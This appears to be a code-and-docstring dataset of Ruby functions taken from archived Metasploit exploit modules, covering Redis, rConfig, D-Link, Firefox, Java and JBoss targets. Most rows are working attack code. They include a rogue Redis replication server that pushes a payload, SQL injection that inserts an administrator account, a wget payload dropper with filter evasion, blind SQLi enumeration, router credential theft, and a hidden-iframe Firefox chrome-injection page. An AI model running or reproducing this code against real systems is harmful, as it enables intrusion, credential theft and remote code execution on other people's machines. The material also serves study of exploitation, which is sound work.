code
stringlengths 26
124k
| docstring
stringlengths 23
125k
| func_name
stringlengths 1
98
| language
stringclasses 1
value | repo
stringlengths 5
53
| path
stringlengths 7
151
| url
stringlengths 50
211
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end
|
Parpare command stager for the pre-compiled payload.
And the command of module is hard-coded.
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/47195.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/47195.rb
|
MIT
|
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end
|
Generate source code file of payload to be compiled dynamicly.
|
generate_code_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/47195.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/47195.rb
|
MIT
|
def check_env
# check if linux
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
# check if gcc installed
return false unless %x|command -v gcc && echo true|.include? "true"
# check if ld installed
return false unless %x|command -v ld && echo true|.include? "true"
true
end
|
check the environment for compile payload to so file.
|
check_env
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/47195.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/47195.rb
|
MIT
|
def check
vprint_status 'STEP 0: Get rConfig version...'
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/login.php'
)
if !res || !res.get_html_document
fail_with(Failure::Unknown, 'Could not check rConfig version')
end
if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
print_good('rConfig version 3.9 detected')
return Exploit::CheckCode::Appears
elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
print_status('rConfig detected, but not version 3.9')
return Exploit::CheckCode::Detected
end
end
|
CHECK IF RCONFIG IS REACHABLE AND INSTALLED
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/48223.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/48223.rb
|
MIT
|
def create_rconfig_user(user, _password)
vprint_status 'STEP 1 : Adding a temporary admin user...'
fake_id = Rex::Text.rand_text_numeric(3)
fake_pass = Rex::Text.rand_text_alpha(10)
fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
userleveladmin = 9 # Administrator
user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"
sqli_res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
'method' => 'GET',
'vars_get' => {
'search' => 'search',
'searchOption' => 'contains',
'searchField' => 'vuln',
'searchColumn' => user_sqli
}
)
unless sqli_res
print_warning('Failed to create user: Connection failed.')
return
end
print_good "New temporary user #{user} created"
end
|
CREATE AN ADMIN USER IN RCONFIG
|
create_rconfig_user
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/48223.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/48223.rb
|
MIT
|
def start_rogue_server
begin
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
print_status("Listening on #{srvhost}:#{srvport}")
rescue Rex::BindFailed
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
print_status("Listening on 0.0.0.0:#{srvport}")
socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
end
rsock = socket.accept()
vprint_status('Accepted a connection')
# Start negotiation
while true
request = rsock.read(1024)
vprint_status("in<<< #{request.inspect}")
response = ""
finish = false
case
when request.include?('PING')
response = "+PONG\r\n"
when request.include?('REPLCONF')
response = "+OK\r\n"
when request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
end
rsock.put(response)
if finish
print_status('Rogue server close...')
rsock.close()
socket.close()
break
end
end
end
|
We pretend to be a real redis server, and then slave the victim.
|
start_rogue_server
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/48272.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/48272.rb
|
MIT
|
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end
|
Parpare command stager for the pre-compiled payload.
And the command of module is hard-coded.
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/48272.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/48272.rb
|
MIT
|
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end
|
Generate source code file of payload to be compiled dynamicly.
|
generate_code_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/48272.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/48272.rb
|
MIT
|
def check_env
# check if linux
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
# check if gcc installed
return false unless %x|command -v gcc && echo true|.include? "true"
# check if ld installed
return false unless %x|command -v ld && echo true|.include? "true"
true
end
|
check the environment for compile payload to so file.
|
check_env
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/remote/48272.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/48272.rb
|
MIT
|
def on_new_session(session)
cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
super
end
|
Escalating privileges here because runasroot only can't be executed by
mwconf uid (196).
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/webapps/32869.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/webapps/32869.rb
|
MIT
|
def wget_payload
@dropped_elf = rand_text_alpha(rand(5) + 3)
command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
print_status("#{peer} - Downloading the payload to the target machine...")
res = exec_command(command)
if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
else
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
end
end
|
we execute in this way, instead of an ARCH_CMD
payload because real badchars are: |&)(!><'"`[space]
|
wget_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/webapps/32869.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/webapps/32869.rb
|
MIT
|
def check
#First we make a request that we know should return a 200
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => 'sort=id&dir=ASC'
})
if !res or res.code != 200
return Exploit::CheckCode::Safe
end
#Now we make a request that we know should return a 500
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => "sort=id'&dir=ASC"
})
if !res or res.code != 500
print_error("Probably not vulnerable.")
return Exploit::CheckCode::Safe
end
#If we have made it this far, we believe we are exploitable,
#but now we must prove it. Get the length of the banner before
#attempting to enumerate the banner. I assume the length
#is not greater than 999 characters.
print_status("Attempting to get banner... This could take several minutes to fingerprint depending on network speed.")
length = ''
(1..3).each do |l|
(47..57).each do |i|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => str
})
if res and res.code == 500
length << i.chr
break
end
end
end
if length == ''
return Exploit::CheckCode::Safe
end
print_status("Looks like the length of the banner is: " + length)
#We have the length, now let's get the banner until it matches
#the regular expression /postgresql/i
banner = ''
(1..length.to_i).each do |c|
(32..126).each do |b|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
},
'data' => str
})
if res and res.code == 500
banner << b.chr
if c%10 == 0
vprint_status("#{((c.to_f/length.to_f)*100).to_s}% done: " + banner)
end
if banner =~ /postgresql/i
print_good("Looks like you are vulnerable.")
vprint_good("Current banner: " + banner)
return Exploit::CheckCode::Vulnerable
end
break
end
end
end
#If we reach here, we never matched our regex, which means we must
#not be vulnerable.
return Exploit::CheckCode::Safe
end
|
In order to check for exploitability, I will enumerate the banner
of the DBMS until I have it match a regular expression of /postgresql/i
This isn't optimal (takes a few minutes), but it is reliable. I use
a boolean injection to enumerate the banner a byte at a time.
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/webapps/34130.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/webapps/34130.rb
|
MIT
|
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /#{Regexp.escape(get_resource)}/
print_status('Sending payload...')
send_response(cli, @pl)
end
end
|
Handle incoming requests to the HTTP server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux/webapps/41677.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/webapps/41677.rb
|
MIT
|
def retrieve_creds
begin
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
xml << "<postxml>\r\n"
xml << "<module>\r\n"
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
xml << "</module>\r\n"
xml << "</postxml>"
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'encode_params' => false,
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Accept' => '*/*'
},
'ctype' => 'text/xml',
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
'data' => xml,
})
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
parse = res.get_xml_document
username = parse.at('//name').text
password = parse.at('//password').text
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
print_good("#{peer} - Downloaded credentials to #{loot}")
return username, password
else
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
|
some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
should write an auxiliary module to-do -> WRITE AUXILIARY
|
retrieve_creds
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux_mips/remote/43143.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux_mips/remote/43143.rb
|
MIT
|
def on_request_uri(cli, request)
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
|
Handle incoming requests from the router
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux_mips/remote/48331.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux_mips/remote/48331.rb
|
MIT
|
def has_prereqs?()
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
if multilib.include?('install')
vprint_good('gcc-multilib is installed')
else
print_error('gcc-multilib is not installed. Compiling will fail.')
end
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
multilib = false #not implemented
gcc = false #not implemented
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
else
return false
end
end
|
first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
|
has_prereqs?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux_x86/local/40435.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux_x86/local/40435.rb
|
MIT
|
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLen'] = pass.length + 1
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
pkt['Payload'].v['Payload'] = data
self.simple.client.smb_send(pkt.to_s)
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
end
|
Note: this code is duplicated from lib/rex/proto/smb/client.rb
Authenticate using clear-text passwords
|
session_setup_clear_ignore_response
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/linux_x86/remote/16860.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux_x86/remote/16860.rb
|
MIT
|
def has_prereqs?()
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
if multilib.include?('install')
vprint_good('gcc-multilib is installed')
else
print_error('gcc-multilib is not installed. Compiling will fail.')
end
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
multilib = false #not implemented
gcc = false #not implemented
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
else
return false
end
end
|
first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
|
has_prereqs?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/lin_x86/local/40435.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/lin_x86/local/40435.rb
|
MIT
|
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLen'] = pass.length + 1
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
pkt['Payload'].v['Payload'] = data
self.simple.client.smb_send(pkt.to_s)
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
end
|
Note: this code is duplicated from lib/rex/proto/smb/client.rb
Authenticate using clear-text passwords
|
session_setup_clear_ignore_response
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/lin_x86/remote/16860.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/lin_x86/remote/16860.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
the user has installed Flash. No memory corruption is used.
First, a Flash object is cloned into the anonymous content of the SVG
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
can navigate a child frame to a URL in the chrome:// scheme.
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
around the child frame's window reference and inject code into the chrome://
context. Once we have injection into the chrome execution context, we can write
the payload to disk, chmod it (if posix), and then execute.
Note: Flash is used here to trigger the exploit but any Firefox plugin
with script access should be able to trigger it.
},
'License' => MSF_LICENSE,
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'Author' =>
[
'Marius Mlynski', # discovery & bug report
'joev', # metasploit module
'sinn3r' # metasploit fu
],
'References' =>
[
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
['OSVDB', '89019'], # maps to CVE 2013-0757
['OSVDB', '89020'], # maps to CVE 2013-0758
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
],
'DisclosureDate' => 'Jan 08 2013',
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => /17\..*/,
:flash => /[\d.]+/
}
))
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed)
end
|
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "17.0",
:ua_maxver => "17.0.1",
:javascript => true,
:rank => NormalRanking
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/local/41683.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/local/41683.rb
|
MIT
|
def flash_trigger
swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
@flash_trigger ||= File.read(swf_path)
end
|
@return [String] the contents of the .swf file used to trigger the exploit
|
flash_trigger
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/local/41683.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/local/41683.rb
|
MIT
|
def js_debug(str, quote="'")
if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
end
|
@return [String] containing javascript that will alert a debug string
if the DEBUG is set to true
|
js_debug
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/local/41683.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/local/41683.rb
|
MIT
|
def generate_html(cli, target)
vars = {
:symbol_id => 'a',
:random_domain => 'safe',
:payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
:payload_var => 'c',
:payload_key => 'k',
:payload_obj_var => 'payload_obj',
:interval_var => 'itvl',
:access_string => 'access',
:frame_ref => 'frames[0]',
:frame_name => 'n',
:loader_path => "#{get_module_uri}.swf",
:content => self.datastore['CONTENT'] || ''
}
script = js_obfuscate %Q|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
function $() {
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
}
function _() {
return '#{vars[:frame_name]}';
}
var #{vars[:interval_var]} = setInterval(function(){
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
catch(e){
clearInterval(#{vars[:interval_var]});
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
Object.prototype.__lookupSetter__("__proto__").call(p, o);
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
}
}, 100);
document.querySelector('object').data = "#{vars[:loader_path]}";
document.querySelector('use').setAttributeNS(
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
);
|
%Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
#{script}
</script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body>
</html>
|
end
|
@return [String] HTML that is sent in the first response to the client
|
generate_html
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/local/41683.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/local/41683.rb
|
MIT
|
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',
'Description' => %q{
This module exploits a vulnerability in the Java Runtime Environment
that allows to deserialize a MarshalledObject containing a custom
classloader under a privileged context. The vulnerability affects
version 6 prior to update 19 and version 5 prior to update 23.
},
'License' => MSF_LICENSE,
'Author' => [
'Sami Koivu', # Discovery
'Matthias Kaiser', # PoC
'egypt' # metasploit module
],
'Version' => '$Revision: 10490 $',
'References' =>
[
[ 'CVE', '2010-0094' ],
[ 'OSVDB', '63484' ],
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],
],
'Platform' => [ 'java' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 31 2010'
))
end
|
Superceded by java_trusted_chain
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16305.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16305.rb
|
MIT
|
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
|
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
nObfu
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16309.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16309.rb
|
MIT
|
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @war_data)
print_error("A request came in, but the WAR archive wasn't ready yet!")
return
end
print_status("Sending the WAR archive to the server...")
send_response(cli, @war_data)
@war_sent = true
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16318.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16318.rb
|
MIT
|
def detect_platform()
print_status("Attempting to automatically detect the platform...")
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
|
Try to autodetect the target platform
|
detect_platform
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16318.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16318.rb
|
MIT
|
def detect_platform()
print_status("Attempting to automatically detect the platform...")
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
|
Try to autodetect the target platform
|
detect_platform
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16319.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16319.rb
|
MIT
|
def invoke_bshscript(bsh_script, pkg, verb)
params = 'action=invokeOpByName'
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
params << '&methodName=createScriptDeployment'
params << '&argType=java.lang.String'
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
params << '&argType=java.lang.String'
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
if (verb == "POST")
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'data' => params
})
else
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor?' + params
})
end
res
end
|
Invokes +bsh_script+ on the JBoss AS via BSHDeployer
|
invoke_bshscript
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16319.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16319.rb
|
MIT
|
def initialize( info = {} )
super( update_info( info,
'Name' => 'Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit',
'Description' => %q{
This module exploits a vulnerability in Java Runtime Environment
that allows an attacker to escape the Java Sandbox. By injecting
a parameter into a javaws call within the BasicServiceImpl class
the default java sandbox policy file can be therefore overwritten.
The vulnerability affects version 6 prior to update 22.
NOTE: Exploiting this vulnerability causes several sinister-looking
popup windows saying that Java is "Downloading application."
},
'License' => MSF_LICENSE,
'Author' => [
'Matthias Kaiser', # Discovery, PoC, metasploit module
'egypt' # metasploit module
],
'Version' => '$Revision: 11623 $',
'References' =>
[
[ 'CVE', '2010-3563' ],
[ 'OSVDB', '69043' ],
[ 'URL', 'http://mk41ser.blogspot.com' ],
],
'Platform' => [ 'java', 'win' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
}
],
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 12 2010'
))
end
|
Internet explorer freaks out and shows the scary yellow info bar if this
is in an iframe. The exploit itself also creates a couple of scary popup
windows about "downloading application" that I haven't been able to
figure out how to prevent. For both of these reasons, don't include it
in Browser Autopwn.
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/16495.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/16495.rb
|
MIT
|
def detect_platform
print_status("Attempting to automatically detect the platform")
res = send_serialized_request("osname.bin")
if (res.body =~ /(Linux|FreeBSD|Windows)/i)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
